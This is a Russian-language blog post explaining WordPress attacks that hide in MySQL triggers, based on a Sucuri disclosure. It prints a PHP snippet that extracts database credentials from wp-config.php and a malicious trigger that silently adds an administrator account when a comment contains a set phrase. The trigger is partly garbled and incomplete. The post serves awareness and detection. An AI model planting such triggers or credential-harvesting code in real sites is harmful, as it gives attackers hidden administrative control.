ВЗЛОМ САЙТА БЕЗ ИЗМЕНЕНИЯ ФАЙЛОВ

ВЗЛОМ САЙТА БЕЗ ИЗМЕНЕНИЯ ФАЙЛОВ

В прошлом году наметилась тенденция использования SQL-триггеров для атак на сайты под управлением Wordpress. Обнаружение таких взломов проблематично, поскольку большинство инструментов по очистке сайтов базируется на проверке файлов или их изменении. Изменения, внесённые в базу не проверят практически не один сканер.

Справка, триггер — это хранимая процедура, которая не вызывается непосредственно, а исполняется при наступлении определенного события ( вставка, удаление, обновление строки ).
Поддержка триггеров в MySQL началась с версии 5.0.2

WordPress, как подавляющее количество современных сайтов использует базу, например MySQL. За соединение с базой отвечает файл wp-config.php. Если получить к нему доступ, то можно вносить в базу какие угодно изменения, например создание пользователя с правами администратора.

Код, приведенный ниже, является бэкдором,  позволяющий выполнить практически любой запрос.

$wpConfigString = file_get_contents($wpConfigPath);
//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);
$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];

Компания sucuri.net недавно обнародовала следующий вредоносный код внедрямый в таблицу.

Триггер проверяет столбец comment_content в базе данных wp_comments.  Не имеет значения, одобрен ли комментарий или находится в ожидании. Как только SQL-триггер активен, он вставляет вредоносного администратора пользователя wpadmin с поддельной датой регистрации 2014-06-08 и адресом электронной почты wp-security@hotmail[.]com.

Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', Адрес электронной почты защищен от спам-ботов. Для просмотра адреса в вашем браузере должен быть включен Javascript.', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');

Послесловие.

Такие виды атак очень сложно определить, используя инструменты автоматического сканирования. А «ручной» анализ базы может занять много времени.  

Наметившаяся  в последнее время тенденция использование Page Builder, значительно увеличивает сайта, в том числе базы. Обычно косвенным признаком взлома может служить создания еще одного администратора базы

Немного сумбурно, но если будет время и желание, перепишу.

Досвидонья!